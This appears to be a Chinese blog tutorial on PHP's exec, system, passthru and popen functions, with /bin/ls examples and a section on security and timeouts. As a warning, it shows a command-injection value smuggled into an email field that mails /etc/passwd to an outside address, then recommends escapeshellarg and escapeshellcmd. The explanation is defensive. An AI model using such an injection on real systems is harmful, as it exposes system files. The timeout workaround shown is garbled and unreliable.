PHP执行系统命令 exec,system,passthru,popen

PHP给给我们提供了三种内置函数 exec,system,passthru用来执行系统命令.
1. exec
exec(string $command[,array $out_put][,$ret_val]);
第一个参数是我们需要执行的命令,第二个参数是最后一条shell命令的结果.第三个参数是返回执行的状态,返回0 执行成功
例如:

1
2
3
4
5
<?php
exec ( "/bin/ls" , $arr , $retval );
print_r( $arr );
echo $retval ;
?>

输出
Array
(
[0] => index.html
[1] => info.php
[2] => php.core
[3] => test.php
)
状态码:0
2.system
system(string $command[,int $ret_val);
第一个参数是我们执行的系统命令,第二个参数是状态,该函数会输出最后一条shell执行的结果

1
2
system( "/bin/ls" , $retval );
echo $retval ;

输出结果

index.html
info.php
php.core
test.php
状态码 0;
3.passthru
passthru(string $command,$retval);
第一个参数系统执行的命令,第二个参数是状态码.
该函数不输出任何内容.

1
2
passthru ( "/bin/ls" , $retval );
echo $retval ;

结果 0;
4.popen
resource popen ( string $command , string $mode );
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
该函数返回一个管道句柄,可以用来读和写.
该管道可以用pclose来关闭.

1
2
3
$fp =popen( "/bin/ls" , "r" );
$str = fread ( $fp ,1024);
pclose( $fp );

输出结果
index.html
info.php
php.core
test.php

执行系统命令,我们需要考虑两个问题
第一 安全性,第二 超时.
我们在开发的时候有个原则,用户输入的内容是绝对不可信的.我们必须要过滤恶意用户提交的非法内容.
比如你有个系统…需要给用户发邮件….
如果调用Linux的mail来发邮件..就像这样
system(“mail $to <A.TXT");
而邮箱地址是用户输入进来的数据...
那么..如果有恶意用户.提交这样的代码
'–bla ; mail imsiren@imsiren.com < /etc/passwd ;'
!!!!!!!!!!
你是不是会吓出冷汗...
这条代码会执行为
system("mail -bla;mail imsiren@imsiren.com < /etc/password ;<A.TXT");
PHP提供了两个函数用来解决这个问题.
escapeshellarg()和escapeshellcmd();
escapeshellarg用来过滤 shell的参数,给特定的字符串加上单引号
escapeshellcmd用来过滤 cmd命令. 把特定的字符串转义.
这样命令和参数就安全的被执行.
超时问题:
由于PHP语言的特性,它需要一条一条的执行代码.
那么 加入这个system执行的时间需要很长,那么肯定会造成PHP脚本执行超时.
解决办法把命令的输出重定向到另外一个文件或流中,如:
system(“/etc/bin > /tmp/null &”);
这样就OK了.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值